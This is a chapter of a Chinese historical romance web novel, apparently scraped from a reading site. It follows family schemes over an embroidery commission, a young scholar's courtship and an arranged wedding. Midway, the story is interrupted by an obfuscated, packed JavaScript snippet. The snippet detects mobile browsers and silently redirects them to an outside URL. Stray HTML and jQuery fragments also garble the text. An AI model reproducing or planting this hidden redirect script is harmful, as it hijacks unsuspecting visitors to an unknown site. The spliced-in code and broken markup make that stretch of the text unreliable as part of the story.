妤安闷在屋里练针法之事到底没瞒住，赵氏听了底下人报信，气得反反复复绕圈。


    “大嫂嫂宁可冒险都不肯让我绣？笃定她能学成么？”


    嬷嬷：“妤安姑娘日日不出门的，瞧来练得很是用功。”


    “用功又如何，当年我学成后足足练了一年才能往绣品上用，大嫂嫂自幼学绣，也花数月，她想一蹴而就哪那么容易……”


    说到此，顾氏眉心倏然松下来，一拍掌心，“对呀，哪那么容易，我且等着看那丫头能不能绣成。”


    看好戏的心思上来，很快驱走怒火，心中释然了，鬼点子跟着涌上来，吩咐嬷嬷：“去把九姑娘给我叫来。”


    “什么？要我绣洛神赋图？”林可颐一抬手，往赵氏额头探去，“不烫啊，怎么说起胡话来了！”


    “死丫头，”赵氏一巴掌拍开她的手，“我同你说认真的。”


    “我绣不了，您还是说点不认真的吧。”


    “没出息的样子，我怎么会有你这么没出息的女儿。”赵氏咬牙在她胳膊上拧一把，“绣画你会，游丝引魂的针法我早教过你，怎么就绣不了，你就是懒，坐不到那里去。”


    “我的娘诶，亲娘！为着你偷偷教我绣画手艺闹出的事还少吗？你可是在祖宗牌位跟前做的保证，不准我用这门手艺，列祖列宗在天之灵看着呢，可消停些吧，就当女儿求你。”


    赵氏：“此一时非彼一时，如今你绣得好能救林家于水火，祖宗不仅不会怪罪，说不好还能保佑咱们母女翻身。”


    林可颐：“反正我不绣。”


    绣完一幅洛神图，她不得变成一座枯坐的石像？


    “打死不绣！”


    林可颐抬脚就要往外走，被赵氏抓着衣领揪回来。


    “我待会儿就让人将绣架搬进你房中，不绣也得绣，否则别想踏出房门半步。”


    “好好的干嘛学大伯母那套。”林可颐叫苦不迭。


    赵氏不管她如何哭闹，铁了心将人锁进房里，对外只说她犯了错，关禁闭思过。


    *


    顾氏重视给贵妃的绣画，入冬月，天才刚转冷，绣房里已拢起火盆，屋子里熏得暖烘烘，绣娘们不必似往年那般呵手跺脚地赶工。


    林樾应酬过后回府，问到妤安在绣房，脚下踩着风似的，悠悠踱过去。


    帘栊掀开，暖香扑面而来，率先与离门不远的巧儿对上视线，对方含羞弯起一抹笑。


    林樾目光很快挪开，径直走到妤安跟前，温声开口：“给你带了好东西，趁热回去尝尝？”


    旁边几位绣娘抿着嘴偷笑，有积年的老人儿胆子壮，笑吟吟打趣：“公子专挑做工做到肚子空的时候来，想是诚心馋我们的。”


    林樾跟着笑：“外头有两筐时鲜瓜果，你们分着吃。”


    绣娘拿眼风扫了扫他二人，拖腔拿调道：“我们呀，更盼着吃公子和姑娘的喜酒，你们说是不是？”


    一句话惹得满屋哄笑附和。


    妤安臊得耳根发热，正欲张口压下嬉闹，听见林樾大大方方开口：“放心，少不了你们的。”


    “有这句话我们便安心了，”离妤安最近绣娘笑着推了推她的胳膊，“少夫人快跟着去吧，回来同我们说说公子带了什么好吃的。”


    “再拿我玩笑，我可要拿针缝你的嘴了。”妤安捏起针线比划，嘴上嗔恼掩不住眼中笑意。


    林樾顺势牵起她的手腕，将针线抽出撂下，不由分说拉着妤安出了绣房。


    门帘在身后晃悠悠地落下来，此起彼伏的笑声在身后晃动，越来越远。


    待回了他院里，步子慢下来，妤安才寻着机会发问：“这般高兴，是遇上什么喜事了？”


    林樾不答话，先揭开食盒，里面是一只从聚福斋带回的烧鹅，油亮亮的皮子上凝着酱汁，执箸拨开脆皮，挑起一块最嫩的腿肉，蘸了酱汁喂到她唇边，“趁热尝尝。”


    看起来心情不是一般好。


    妤安垂眸一笑，就着他手轻轻含走鹅肉。


    林樾喂她吃了几块，才搁箸开口：“今日在雅集上，有一个人夸了我的文章，你猜猜是何人？”


    “这我哪里猜得到，”妤安拿帕子擦净唇上油光，思量片刻，道：“看你的神情，应是个才学渊博的前辈？”


    林樾：“姐姐果真聪慧，是翰林院的周大人！他赞我文气清峻，颇有先贤风骨。”


    妤安听来亦替他欢喜：“正说明你文章做得好，不枉费这些年苦读。”


    “最要紧是，翰林院的大人，指不定是明年春闱的考官呢！”林樾洋洋自得的模样，仿佛功名已是囊中之物。


    他兴致斐然，妤安不好泼冷水，陪着说笑几句，末了缓缓接一句提醒：“科考的文章与雅集上毕竟不同，还是要多把心思放在春闱上。”


    林樾不以为意：“我晓得的，书要读，这些人情世故也要维系，闭门造车不了解当今世情民情，难做出好文章。”


    “你总有道理。”


    劝多了他又要恼，妤安浅笑带过。


    林樾将她手拢进掌心，目光灼灼：“若我能得中状元，你便是状元夫人了。”


    哪里就论上状元了，妤安觑他一眼，“凭着一句周大人的夸赞就自信能摘得状元桂冠么。”


    林樾：“自然不止他，近来我新结识不少有本事之人，有他们提点，眼界开阔不少。”


    妤安心觉此事蹊跷，警戒道：“如何结识的？”


    “我同你说你莫要多心，是祝伯父引荐我认识的。”


    林樾料想外头的大人物们妤安不识得，说多了反倒不清楚，便略过其间过程，说了最开始的引荐人。


    妤安对祝大人了解不多，念着他和林樾父亲是挚友，以为是前辈照拂后辈的善意，暂且未深究，只简单提醒几句，让他凡事多留心。


    林樾随口应下，凑她更近些，接说方才未完之言：“难得有这么好的机会同大人物请教学习，我定要把握住，但母亲若知道，定不分青红皂白斥我贪乐子，届时还要劳姐姐替我周旋。”


    “我说今日怎么如此殷勤，原是在这里等我。”


    “好姐姐，状元夫人，你最是通情达理，一定帮我劝劝母亲。”


    妤安拗不过他的纠缠，终是让他立誓保证，绝不是借机与狐朋狗友厮混，方勉为其难应下。


    *


    得翰林一句夸赞，林樾尝到甜头，此后愈发频繁地出门赴雅集，与同窗切磋诗文，打着请教学问名号往祝府拜访的次数也渐渐多了起来。


    如此一来，少不得遇见祝瑾然。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411321|200624||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    有几次明知祝大人不在府上，还执意前往，寻机与祝瑾然见面，或递了信悄悄约她在外头见面。


    林樾这边瞒着府里，那厢祝瑾然的行踪却瞒不住她母亲郑氏，郑氏放话不准女儿单独见林樾，更遣人往林府传话，让顾氏严加管束林樾，莫害的她家姑娘清誉受损。


    顾氏本就不喜林樾私见祝瑾然，郑氏亲自告状，不啻于火上浇油，狠狠罚了林樾一顿，连帮他隐瞒的小厮也受了十板子。


    林樾挨了罚却不服气，梗着脖子道：“父亲与祝伯父乃旧友，如今祝伯父受四皇子提携回京，咱们两家恢复亲近，常来常往的，日后也可互相帮衬。”


    顾氏气得脸色铁青，“还狡辩，打量我不知你打的什么主意？”


    林樾嘴硬：“母亲多虑了。”


    知子莫若母，顾氏冷哼一声，语气愈发严厉：“她母亲从前就瞧不上咱们商贾之家，如今攀上了四皇子的关系，更不会看上你，你莫要上赶着自取其辱。”


    她原想等儿子专心考完春闱再成婚，被此事一激，当即拿了主意，“我会让人重拟一个更早的吉日，过了年节你就与妤安完婚。”


    林樾一怔，面露犹豫：“不必如此着急吧……成婚要诸多筹备，我哪里还能安心读书？”


    “婚事有的是人操持，不必你费心。”顾氏态度坚决。


    林樾张了张嘴，没能再说出什么。


    顾氏为彻底了断林樾的歪心思，也为明白告知祝家，林家不稀得跟他家结亲，借着张罗成亲事宜，将林樾即将娶亲的消息放出去。


    *


    这日林樾在酒楼同几位好友小聚，对方听说他要娶亲的消息，纷纷拱手道贺。


    林樾一一还礼，面上不见喜悦。


    同他关系最好的一位看出蹊跷，问：“文昇好事将近之人怎么拉着个脸？”


    林樾闷头饮一盏酒，没回答。


    “总不会是还惦记着旁的姑娘？”另有一人笑着开口。


    本是玩笑话，却正说中林樾心中苦闷。


    他自是愿意娶妤安的，但这些时日被祝瑾然频频推拒，他心里总像堵着一块石头似的不痛快。


    “没有的事。”他摆摆手，不想在外人跟前失了体面。


    “有也无妨，都娶了嘛，尽享齐人之福。”朋友朗声笑道。


    娶祝瑾然？两家母亲非打起来不可。


    “我可没这份福气，喝酒，喝酒。”林樾劝着其他几人举杯，揭过这令人苦闷的话题。


    酒过三巡，席上几位晃晃悠悠告辞，留下一个和林樾最交心的，那人勾着肩膀凑近，醉醺醺道：“文昇......你瞒得过旁人瞒不过我，你是不是还想娶祝家姑娘，怕你那位童养媳不乐意？”


    林樾没说话，猛灌一杯酒。


    那人当他默认，重重往桌上一拍，道：“她已是你的人了，再不愿意又能如何？女子出嫁从夫，她这般身份更得对你言听计从了。”


    林樾只觉得胸膛里头有一簇幽火烧了起来。


    “谢兄醉了，我送你回去。”


    他们身在酒楼，临窗的座席虽有屏风隔开，但隔不住声音，林樾未多说话，扶着好友踉跄下楼。


    此时屏风另一侧坐着的，恰是翟正，和他新得的“酒友”，萧戈。